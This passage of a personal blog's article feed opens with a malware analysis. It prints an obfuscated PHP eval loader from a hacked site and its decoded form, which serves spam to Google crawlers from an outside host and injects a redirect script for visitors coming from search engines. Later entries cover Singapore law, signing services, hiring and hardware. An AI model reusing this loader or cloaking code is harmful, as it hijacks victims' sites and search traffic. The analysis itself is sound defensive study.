&lt;span class="normal"&gt; 92&lt;/span&gt;
&lt;span class="normal"&gt; 93&lt;/span&gt;
&lt;span class="normal"&gt; 94&lt;/span&gt;
&lt;span class="normal"&gt; 95&lt;/span&gt;
&lt;span class="normal"&gt; 96&lt;/span&gt;
&lt;span class="normal"&gt; 97&lt;/span&gt;
&lt;span class="normal"&gt; 98&lt;/span&gt;
&lt;span class="normal"&gt; 99&lt;/span&gt;
&lt;span class="normal"&gt;100&lt;/span&gt;
&lt;span class="normal"&gt;101&lt;/span&gt;
&lt;span class="normal"&gt;102&lt;/span&gt;
&lt;span class="normal"&gt;103&lt;/span&gt;
&lt;span class="normal"&gt;104&lt;/span&gt;
&lt;span class="normal"&gt;105&lt;/span&gt;
&lt;span class="normal"&gt;106&lt;/span&gt;
&lt;span class="normal"&gt;107&lt;/span&gt;
&lt;span class="normal"&gt;108&lt;/span&gt;
&lt;span class="normal"&gt;109&lt;/span&gt;
&lt;span class="normal"&gt;110&lt;/span&gt;
&lt;span class="normal"&gt;111&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lt;?php function yYVg($aQt)
{ 
$aQt=gzinflate(base64_decode($aQt));
 for($i=0;$i&amp;lt;strlen($aQt);$i++)
 {
$aQt[$i] = chr(ord($aQt[$i])-1);
 }
 return $aQt;
 }eval(yYVg(&amp;quot;7ZZtb+o2FIC/k1/hRWhOVJpAt3VbuekVatNbJFpYCHebJhS5wTTuDXHkmALj9rfv2OGtjI57P2yfhiLinJw3P8c+DkL6Z1AhuIgEzbmQLHu06nbTKKiMJJvQKGUTJrWo+okuPFSN+n7w0Q/+MG/DsBcN4ClqffDvQ3MIKg9ceqyIipyNqLCUkaBjJYEbFVREBSUiTvSbhBcyysiEIg+ZiZT5heuazsY/1v5vu/0QD3ekvdsejDs3WIV7mk7ymI+oZ74rYsFyieQipx6WdC7dJ/JMSilGhYg9rGIUEGQ2mzlxQviC5ST+5MR84srZgnDnqcCX79zS5tJsGmxsbQMH/i8Dvx9Gg6CNh57nma5pG0vAhxDoFVLkvLAUoxp+5Pwxpdj+xvPGJC2oDTpLzboaXgMC8UyFZ67TmbPMmZH8+VlnAmErAK0AKPFUpN2cZtbWynkjH8d0WTaicydP8vcKrAckN4Ad89sRnxCWebt8y3t037rz8RAKUkkoUVUzr3gmaSZPQ2B5gTTLRE7SJgJoAhaGN5Xj059MZULjhCOVLoxHjKq6IvRiaCoIUZi7HiyNCtKY9HLwGrZ+BunKwbqO4GXtRiloT+r/xVCudjAfplBDuEh4jm0E5JFG//nzUZOHlD9+pUku+Ggay12rf2MtZJQtqCrp/4vi4KIYT7NYMp4dgmIjKAhoVuPkbIUtYhm0MrupxPoZ0ua5tJRKDV0Ngk63p9B1aug/gfvPeaj2d+u3rv2ghogQZGHh305vusGvreDav1aji/Nz5+z7n50fv3POGg1cw1edNjTi03Zv7419NNYqTrlCjyj3+50IptG++b3n7xh9oY1q6F9mE/jhILgPg9Z9/0bFaRxLLPBBDzTx6jBRfb7cfmo34aOFh/Lok6yG7/ifLE2J+4NTP7HANieSPaS0efJBu4NTzj1zGs2Tk4ORXHjvqM1hH40Ztu/87iCsnddLzWpcbrP1To/onMbaZsdTnPKC7ggFlVORbW1BuLM3do5jY6naiMw+ktSrw26SYmFU1IarFhF5BFMPGmg5usAOtDHJUz4Dy71DeXvolz2iAhcbo03jW/mARrnufpd1UKlsO+tW4wG+OICXUoEGoLPZ5NhQvl8MdcVExgmy/HlMcz2t6sxegnw999KiCRN/NfP9z443CUAbYgWUyNr7vlmtKXNob7PbuEWa1+rhDWL7btSUNLA9Yisvf2P2CtpWSWHTKujI77D5giScr5mX03pNXTH/avTvL/8C&amp;quot;));?&amp;gt;

### decoded version ###

error_reporting(0);
set_time_limit(0);
$key= $_SERVER[&amp;quot;HTTP_USER_AGENT&amp;quot;];
$bot=is_spider();
$ref=is_referer_search();
$host_name = &amp;quot;http://&amp;quot;.$_SERVER[&amp;#39;HTTP_HOST&amp;#39;].$_SERVER[&amp;#39;PHP_SELF&amp;#39;];
$jumpcode=&amp;quot;&amp;lt;script type=&amp;#39;text/javascript&amp;#39; src=&amp;#39;https://www.chaoyipack.com/twyao.js&amp;#39;&amp;gt;&amp;lt;/script&amp;gt;&amp;quot;;
if($_SERVER[&amp;#39;REQUEST_URI&amp;#39;]===&amp;quot;/&amp;quot;)
{  
  if(strpos($key,&amp;#39;google&amp;#39;)!==false)
  {     $TD_server=&amp;quot;https://xin.wapvv.com/&amp;quot;;
    $res = curlOpen($TD_server.$_SERVER[&amp;#39;REQUEST_URI&amp;#39;].&amp;quot;/index.php?host=&amp;quot;.$host_name.&amp;quot;&amp;amp;domain=&amp;quot;.$_SERVER[&amp;#39;SERVER_NAME&amp;#39;]);
    header(&amp;quot;Content-Type: text/html; charset=utf-8&amp;quot;);
    echo $res;
    die();
  }

    else
    {
       if($ref==1)
       {
        echo $jumpcode;
        die();
        }
    }
}
elseif(strpos($_SERVER[&amp;#39;REQUEST_URI&amp;#39;], &amp;#39;shop&amp;#39;) !== false||strpos($_SERVER[&amp;#39;REQUEST_URI&amp;#39;], &amp;#39;blog&amp;#39;) !== false||strpos($_SERVER[&amp;#39;REQUEST_URI&amp;#39;], &amp;#39;product&amp;#39;) !== false)
{  
  if(strpos($key,&amp;#39;google&amp;#39;)!==false)
  {     $TD_server=&amp;quot;https://xin.wapvv.com/neiye.php&amp;quot;;
    $res = curlOpen($TD_server.$_SERVER[&amp;#39;REQUEST_URI&amp;#39;].&amp;quot;/index.php?host=&amp;quot;.$host_name.&amp;quot;&amp;amp;domain=&amp;quot;.$_SERVER[&amp;#39;SERVER_NAME&amp;#39;]);
    header(&amp;quot;Content-Type: text/html; charset=utf-8&amp;quot;);
    echo $res;
    die();
  }

    else
    {
       if($ref==1)
       {
        echo $jumpcode;
        die();
        }
    }
}
function curlOpen($TD_server) 
{ 
  $ch2 = curl_init(); 
  curl_setopt($ch2, CURLOPT_URL, $TD_server.$_SERVER[&amp;#39;REQUEST_URI&amp;#39;].&amp;quot;/index.php?host=&amp;quot;.$host_name.&amp;quot;&amp;amp;domain=&amp;quot;.$_SERVER[&amp;#39;SERVER_NAME&amp;#39;]); 
  curl_setopt($ch2, CURLOPT_HTTPHEADER, array(&amp;#39;X-FORWARDED-FOR:66.249.73.211&amp;#39;,&amp;#39;CLIENT-IP:66.249.73.211&amp;#39;)); 
  curl_setopt($ch2, CURLOPT_HEADER, false); 
  curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
  curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
  curl_setopt($ch2, CURLOPT_REFERER,&amp;#39;http://www.google.com&amp;#39;); 
  curl_setopt($ch2, CURLOPT_USERAGENT,&amp;#39;Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)&amp;#39;); 
  curl_setopt($ch2, CURLOPT_TIMEOUT,60); 
  $contents = curl_exec($ch2); 
  curl_close($ch2); 
  return $contents; 
}
function is_spider()
{
    $rtnVal=0;
    try
    {
        $s_agent= &amp;#39;s_agent:&amp;#39;.strtolower($_SERVER[&amp;#39;HTTP_USER_AGENT&amp;#39;]);

        if (strpos($s_agent, &amp;#39;google&amp;#39;)&amp;gt;0
            ||strpos($s_agent, &amp;#39;bingbot&amp;#39;)&amp;gt;0)
        {
            $rtnVal=1;
        }
    }
    catch (Exception $w){}
    return $rtnVal;
}

function is_referer_search()
{
    $rtnVal=0;
    try
    {
        if(isset($_SERVER[&amp;quot;HTTP_REFERER&amp;quot;]))
        {
            $s_referer = &amp;#39;s_referer:&amp;#39;.strtolower($_SERVER[&amp;quot;HTTP_REFERER&amp;quot;]);

            if (strpos($s_referer, &amp;#39;google&amp;#39;)&amp;gt;0
                ||strpos($s_referer, &amp;#39;bing&amp;#39;)&amp;gt;0
                                ||strpos($s_referer, &amp;#39;yahoo&amp;#39;)&amp;gt;0)
            {
                $rtnVal=1;
            }
        }
    }
    catch (Exception $w){}
    return $rtnVal;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In summary, if Google was crawling the homepage, the contents of &lt;code&gt;https://xin(.)wapvv(.)com/&lt;/code&gt; would be served which contains the same spammy content earlier seen on &lt;code&gt;www(.)hmbags(.)tw&lt;/code&gt;. If Google was crawling any URL with shop/blog/product, &lt;code&gt;https://xin(.)wapvv(.)com/neiye.php&lt;/code&gt; would be served instead. This explains the hijacked search results. A normal visitor would be served the twyao(.)js javascript file. The javascript file will redirect users from Taiwan to the &lt;code&gt;www(.)hmbags(.)tw&lt;/code&gt; website.  &lt;/p&gt;
&lt;p&gt;Note: if you are following through the code, the &lt;code&gt;is_spider()&lt;/code&gt; and &lt;code&gt;is_referer_search()&lt;/code&gt; is superfluous code which have no effect on the outcome.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Total Defense and Falsehoods</title><link href="https://limbenjamin.com/articles/total-defense-and-falsehoods.html" rel="alternate"></link><published>2023-02-15T09:17:00+08:00</published><updated>2023-02-15T09:17:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-02-15:/articles/total-defense-and-falsehoods.html</id><summary type="html">&lt;p&gt;As we commemorate Total Defense day, it is poignant to note the link to what is potentially some of the worst falsehoods to be perpetuated in Singapore, contributing in part to the death of thousands of people. The impact is probably greater any recorded use of POFMA to date. An …&lt;/p&gt;</summary><content type="html">&lt;p&gt;As we commemorate Total Defense day, it is poignant to note the link to what is potentially some of the worst falsehoods to be perpetuated in Singapore, contributing in part to the death of thousands of people. The impact is probably greater any recorded use of POFMA to date. An excerpt of the copyrighted article from The Straits Times, 26 January 1942, Page 4 has been reproduced for the purpose of study and research.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/london_confidence_singapore_defense.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;
&lt;span class="normal"&gt;8&lt;/span&gt;
&lt;span class="normal"&gt;9&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;7.—(1)  A person must not do any act in or outside Singapore in order to communicate in Singapore a statement knowing or having reason to believe that —
(a) it is a false statement of fact; and
(b) the communication of the statement in Singapore is likely to —
    (i)     be prejudicial to the security of Singapore or any part of Singapore;
    (ii)    be prejudicial to public health, public safety, public tranquillity or public finances;
    (iii)   be prejudicial to the friendly relations of Singapore with other countries;
    (iv)    influence the outcome of an election to the office of President, a general election of Members of Parliament, a by‑election of a Member of Parliament, or a referendum;
    (v)     incite feelings of enmity, hatred or ill‑will between different groups of persons; or
    (vi)    diminish public confidence in the performance of any duty or function of, or in the exercise of any power by, the Government, an Organ of State, a statutory board, or a part of the Government, an Organ of State or a statutory board.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Obviously, POFMA was passed decades after WWII and the law doesn't apply retroactively. However, let's look at how such an article would fare under POFMA as an exercise. &lt;/p&gt;
&lt;p&gt;There are 2 tests to POFMA. Firstly, it must be a false statement of fact. One might argue that the article above is an opinion and not a statement of fact. That is debatable. Even then, articles inspiring confidence in the defense of Singapore ran for days in multiple publications. With sufficient research, an article which skewed more towards fact than opinion will likely be found.&lt;/p&gt;
&lt;p&gt;When looking at the second test, even though it is not explicitly stated, it is obvious that each of the 6 limbs are to be read disjunctively. That is to say, as long as either one of the limbs is satisfied, the second test is deemed to be satisfied. The article above can be argued to satisfy 7 (b) (ii), in that the contents inspired a false sense of confidence in the government's ability, leading readers to make a wrong decision to remain in Singapore instead of evacuating, hence jeopardizing the health and safety of the public, some of whom eventually perished during the occupation.&lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>SPH Circulation Saga: Misrepresentation</title><link href="https://limbenjamin.com/articles/sph-circulation-saga-misrepresentation.html" rel="alternate"></link><published>2023-02-05T17:29:00+08:00</published><updated>2023-02-05T17:29:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-02-05:/articles/sph-circulation-saga-misrepresentation.html</id><summary type="html">&lt;p&gt;On Jan 9, it was &lt;a href="https://mothership.sg/2023/01/sph-media-circulation-scandal/"&gt;reported&lt;/a&gt; that SPH media inflated its daily circulation figures by 10 to 12% of its reported daily average circulation figures. If an advertiser were to take umbrage at the inflated figures, what recourse could they possibly have? &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;i class="fa fa-quote-left fa-lg"&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;SPH Media CEO Teo Lay Lim told advertisers …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;On Jan 9, it was &lt;a href="https://mothership.sg/2023/01/sph-media-circulation-scandal/"&gt;reported&lt;/a&gt; that SPH media inflated its daily circulation figures by 10 to 12% of its reported daily average circulation figures. If an advertiser were to take umbrage at the inflated figures, what recourse could they possibly have? &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;i class="fa fa-quote-left fa-lg"&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;SPH Media CEO Teo Lay Lim told advertisers in an email that circulation data was not used for the basis of advertising packages. &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;i class="fa fa-quote-right fa-lg"&gt;&lt;/i&gt; &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If we were to take her word as truth, it would seem that advertisers were not overcharged and they paid a fair rate for their advertisements to be run. However, it does not address the fact that the falsified circulation data might have induced the advertisers to enter into a contract with SPH Media. Circulation data is definitely material when considering whether to advertise. English contract law is based on the principle of caveat emptor. A reasonable person would be expected to perform due diligence, very likely relying upon circulation data as one of the factors to consider whether to enter into contract with SPH Media. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;SPH Media had fudged the numbers through various means which included:

1. counting lapsed contracts in circulation data
2. including copies that were printed, counted for circulation, and then destroyed
3. multiple instances of double-counting subscriptions
4. injecting a project account with additional funding to purchase fictitious circulation
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Items 1, 2 and 3 can probably be argued to be innocent misrepresentation. Relying on outdated data, confusion or mistakes made can explain the discrepancy. However, item 4 is the smoking gun here. There was deliberate effort taken to inject additional funding to fudge the numbers. There is no way that SPH Media was unaware given that funding had to be specifically requested and approved for this purpose. This probably fulfills the heavy burden of proof to be considered fraudulent misrepresentation.  &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;i class="fa fa-quote-left fa-lg"&gt;&lt;/i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;According to SPH's former Chief Marketing Officer, Elsie Chua, the marketing department does not guarantee circulation in contract with advertisers. &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;i class="fa fa-quote-right fa-lg"&gt;&lt;/i&gt; &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I would argue that this is an exclusion clause, where SPH Media is trying to exclude itself from the liability of providing inaccurate circulation data. Based on the language, it would seem that circulation data did not make it into the terms of the contract and it is a mere representation made during the contract negotiations. It is interesting here to note that in HIH Casualty and General Insurance Ltd v Chase Manhattan Bank [2003], the House of Lords held that exclusion clauses could apply only to negligent misrepresentation and not fraudulent misrepresentation. Hence, I don't think that statement holds any water.  &lt;/p&gt;
&lt;p&gt;Lastly, on the topic of remedies, rescission is out of the question. If the advertisement has already run, it is impossible to collect back all the newspapers, remove the advertisement and circulate them once again. Hence, the only remedy is compensation. In general, the calculation for damages aims to put the advertiser in the position it would have been if the misrepresentation did not occur. Therefore, the compensation may be in the region of about 10 to 12% of the amount the advertiser spent. &lt;/p&gt;</content><category term="articles"></category><category term="Legal"></category></entry><entry><title>Sign with Singpass</title><link href="https://limbenjamin.com/articles/sign-with-singpass.html" rel="alternate"></link><published>2023-01-10T17:49:00+08:00</published><updated>2023-01-10T17:49:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2023-01-10:/articles/sign-with-singpass.html</id><summary type="html">&lt;p&gt;Apparently, you can now sign documents with Singpass using any of the &lt;a href="https://api.singpass.gov.sg/library/sign/business/Digital%20Signing%20Partners"&gt;digital signing partners&lt;/a&gt;. I have compiled the table below with each provider's most basic plan for easier reference with a focus on individual and not corporate usage. The signing certificate used by Singpass is currently not trusted by …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Apparently, you can now sign documents with Singpass using any of the &lt;a href="https://api.singpass.gov.sg/library/sign/business/Digital%20Signing%20Partners"&gt;digital signing partners&lt;/a&gt;. I have compiled the table below with each provider's most basic plan for easier reference with a focus on individual and not corporate usage. The signing certificate used by Singpass is currently not trusted by the default CAs loaded into Windows, so do take that into account as well.&lt;/p&gt;
&lt;style&gt;
th, td{
    padding: 0.5em;
}
&lt;/style&gt;
&lt;table class="table" width="100%"&gt;
&lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;Vendor&lt;/th&gt;
        &lt;th&gt;Price&lt;/th&gt;
        &lt;th&gt;Features&lt;/th&gt;
    &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
    &lt;tr&gt;
        &lt;td&gt;DocuSign&lt;/td&gt;
        &lt;td&gt;SGD 13/month&lt;/td&gt;
        &lt;td&gt;Send up to 5 documents for eSignature monthly&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;iText&lt;/td&gt;
        &lt;td&gt;Free for non commercial use&lt;/td&gt;
        &lt;td&gt;iText does provide a paid service. More interestingly, they provide a library that is free for non commercial use. &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Kofax&lt;/td&gt;
        &lt;td&gt;Unknown&lt;/td&gt;
        &lt;td&gt;Unknown&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;OneSpan&lt;/td&gt;
        &lt;td&gt;Unknown&lt;/td&gt;
        &lt;td&gt;Unknown&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Decodo&lt;/td&gt;
        &lt;td&gt;Unknown&lt;/td&gt;
        &lt;td&gt;Decodo claims to work closely with iText, possibly using same codebase. Also allows you to sign a document without uploading&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Netrust Pte Ltd&lt;/td&gt;
        &lt;td&gt;Free&lt;/td&gt;
        &lt;td&gt;According to their website, uploaded documents are purged regularly&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Modus Consulting&lt;/td&gt;
        &lt;td&gt;Free till Dec 2023&lt;/td&gt;
        &lt;td&gt;Their website is ndisign.sg. According to their privacy policy, they do not collect, use, store or disclose documents. This reminds me of NSA's definition of collection.&lt;/td&gt;
    &lt;/tr&gt;       
    &lt;tr&gt;
        &lt;td&gt;Redoc&lt;/td&gt;
        &lt;td&gt;SGD 30/month&lt;/td&gt;
        &lt;td&gt;Seems more targeted to real estate industry.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;CrimsonLogic&lt;/td&gt;
        &lt;td&gt;Unknown&lt;/td&gt;
        &lt;td&gt;Unknown&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
        &lt;td&gt;Zoho&lt;/td&gt;
        &lt;td&gt;SGD 30/month&lt;/td&gt;
        &lt;td&gt;Part of Zoho's enterprise plan. Unlimited document signing.&lt;/td&gt;
    &lt;/tr&gt;       
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;It appears that the service has been designed more for businesses. Some of the companies don't even advertise their service online while others are designed as part of a document workflow system where companies can pay a subscription to the service and upload templates, sending them out to their clients for signing. The clients don't have to pay to use the service.&lt;/p&gt;
&lt;p&gt;For individual use, Modus Consulting's website looks dodgy. Their FAQ is riddled with spelling and grammatical errors. NeTrust seems to be your best bet. We just have to hope that "regular purging" is regular enough. NeTrust is also a Certificate Authority, that ought to count for something.&lt;/p&gt;
&lt;p&gt;For commercial use, iText or Decodo seem to be the best option. They allow for signing without uploading the document to the DSP's server and iText is the reference implementation. &lt;/p&gt;
&lt;p&gt;Unfortunately, there isn't a freely available easy to use software that communicates directly with the NDI API to do the signing. The iText library is a good starting point. Unfortunately, the library does not come with the certificate for mTLS connection to NDI API and NDI client ID and secret that is required to connect to the NDI interface. Hence, it is not usable without applying as a DSP yourself.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    https://git.itextsupport.com/projects/RESEARCH/repos/ndi-demo/browse/ndi-demo/conf/application.conf

    logger.config = &amp;quot;C:\\work\\ndi\\conf\\log4j.def.xml&amp;quot;
    #logger.ndiConfig = ${?LOGGER_CONFIG}

    //
    //ndi.client.id =
    //ndi.client.secret =


    # modul
    play.modules.enabled += &amp;quot;com.itextpdf.demo.ndi.modules.ApplicationModule&amp;quot;
    play.cache.bindCaches = [&amp;quot;db-cache&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Global Talent Search</title><link href="https://limbenjamin.com/articles/global-talent-search.html" rel="alternate"></link><published>2022-12-18T10:10:00+08:00</published><updated>2022-12-18T10:10:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-12-18:/articles/global-talent-search.html</id><summary type="html">&lt;p&gt;People are up in arms over the fact that some technical sourcer from Meta is paid $100k per annum. How are technical sourcers different from your run-of-the-mill HR personnel?  &lt;/p&gt;
&lt;p&gt;A technical sourcer from Facebook reached out to me (based in Singapore) over LinkedIn a few years back to apply for …&lt;/p&gt;</summary><content type="html">&lt;p&gt;People are up in arms over the fact that some technical sourcer from Meta is paid $100k per annum. How are technical sourcers different from your run-of-the-mill HR personnel?  &lt;/p&gt;
&lt;p&gt;A technical sourcer from Facebook reached out to me (based in Singapore) over LinkedIn a few years back to apply for a role based in the US. The role eventually went to a well qualified person (based in France) who has published research and spoke at conferences. I follow her blue ticked twitter account (back when blue tick actually meant something) and that is how I know that she got the job. She was clearly a better candidate and one of the top talents in the field. To get top talent, you need to do a global search and outreach. Not everyone is looking for a job all the time, not everyone is searching job portals in other countries, but they may be interested in trying if a good opportunity arises. Most run-of-the-mill HR personnel simply post a job in the job portal and sit around waiting for applicants. After a supposed "global talent search", some manage to find these global talents right in our backyard, fresh out of the military. &lt;/p&gt;
&lt;p&gt;Secondly, the role which I was approached for was directly relevant to my experience, so the technical sourcer had good understanding and was able to filter down the list of candidates and not waste the hiring manager's time doing the filtering. I have had my fair share of recruiters spamming me with job opportunities that are irrelevant to my domain or of a vastly different seniority compared to where I was at. As a hiring manager, I have had recruiters dump CVs which are totally irrelevant to the position I am hiring for. It is a waste of the hiring manager's time to weed through piles of CVs and shortlist less than 1 in 10 CVs for interview.  &lt;/p&gt;
&lt;p&gt;In short, if the HR personnel is simply posting a job description in various job portals and dumping all the CVs received into the hiring manager's inbox (because I am HR and I don't understand all these technical stuff), it requires far less skill and thus they are rightly compensated far less that a well networked technical sourcer who trawls through LinkedIn connections to find suitable candidates to extend an offer to interview.  &lt;/p&gt;</content><category term="articles"></category><category term="Untagged"></category></entry><entry><title>Miracast Compatible Devices</title><link href="https://limbenjamin.com/articles/miracast-compatible-devices.html" rel="alternate"></link><published>2022-11-13T21:53:00+08:00</published><updated>2022-11-13T21:53:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-11-13:/articles/miracast-compatible-devices.html</id><summary type="html">&lt;p&gt;Miracast compatibility for desktops is complicated. You will need a compatible graphics card and wifi adapter. It is such a pain to find out if a particular device is compatible since it is usually not listed on the manufacturer's page. There is also no exhaustive listing on the web so …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Miracast compatibility for desktops is complicated. You will need a compatible graphics card and wifi adapter. It is such a pain to find out if a particular device is compatible since it is usually not listed on the manufacturer's page. There is also no exhaustive listing on the web so you may have to take a gamble and hope that the device you purchased is compatible. You can try running &lt;code&gt;Get-NetAdapter | Select Name, NdisVersion&lt;/code&gt; in powershell. If the NDIS driver version is 6.3 and above, the wifi adapter should be compatible. No guarantees.&lt;/p&gt;
&lt;p&gt;I have managed to get Miracast to work on a Nvidia Quadro P2200 and a RTL8812CU wifi adapter. Since some webstore listings do not specify the chipset, &lt;a href="https://www.lazada.sg/products/i636380533-s1912694045.html?urlFlag=true&amp;amp;mp=1&amp;amp;spm=spm%3Da2o42.order_details.item_title.1"&gt;this&lt;/a&gt; is exact listing which I purchased.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/miracast.png"&gt;&lt;/p&gt;
&lt;p&gt;Miracast will create a Wifi Direct connection between the 2 devices, do take note that the wifi adapter I linked does not have an antennae, it may affect the signal strength. Both my devices are quite close by and I have not experienced any stutter even when streaming videos in HD. I have not been able to get Miracast over Ethernet to work since my receiver does not support a wired connection. That is one potentially route you can take if signal strength is a concern.&lt;/p&gt;</content><category term="articles"></category><category term="Untagged"></category></entry><entry><title>Lifelong Spousal Maintenance</title><link href="https://limbenjamin.com/articles/lifelong-spousal-maintenance.html" rel="alternate"></link><published>2022-09-29T17:39:00+08:00</published><updated>2022-09-29T17:39:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2022-09-29:/articles/lifelong-spousal-maintenance.html</id><summary type="html">&lt;p&gt;A man has to pay spousal maintenance (alimony) to his ex-wife depending on her future earning capacity, the standard of living enjoyed prior to the breakdown of the marriage and the contributions made by the ex-wife to the welfare of the family. This seems fair. A woman who sacrificed her …&lt;/p&gt;</summary><content type="html">&lt;p&gt;A man has to pay spousal maintenance (alimony) to his ex-wife depending on her future earning capacity, the standard of living enjoyed prior to the breakdown of the marriage and the contributions made by the ex-wife to the welfare of the family. This seems fair. A woman who sacrificed her future earning capacity by tending to domestic matters has made great indirect contributions to the marriage and should be able to continue enjoying a certain standard of living in the months to years following the breakdown of the marriage. However, lifelong spousal maintenance seems to be excessive considering the government's policies and stance on various issues. I believe a fairer cap would be a maximum of 8 years of alimony with a gradual decrease in amounts in the last 3 years.  &lt;/p&gt;
&lt;h2&gt;No increase in earning capacity in the foreseeable future&lt;/h2&gt;
&lt;p&gt;The government is actively pushing for reskiling/upskilling through initiatives like SkillsFuture. Minister Tharman introduced the idea of a trampoline at the St Gallen's Symposium in 2015, explaining that Singaporeans are expected to take personal responsibility to improve their situation, to take up a job and work at it instead of relying on handouts from the government. Therefore, it seems puzzling that a certain segment of society, specifically ex-housewives, are exempt from taking any personal responsibility for the rest of their life and can comfortably rely on handouts from the ex-husbands.  &lt;/p&gt;
&lt;p&gt;Ex-housewives should undergo reskilling/upskilling. It may take them 5 years to complete a diploma/degree due to their age and then start at an entry level job. 8 years of alimony should be sufficient to tide them over during this transitory period before they start making their own keep.  &lt;/p&gt;
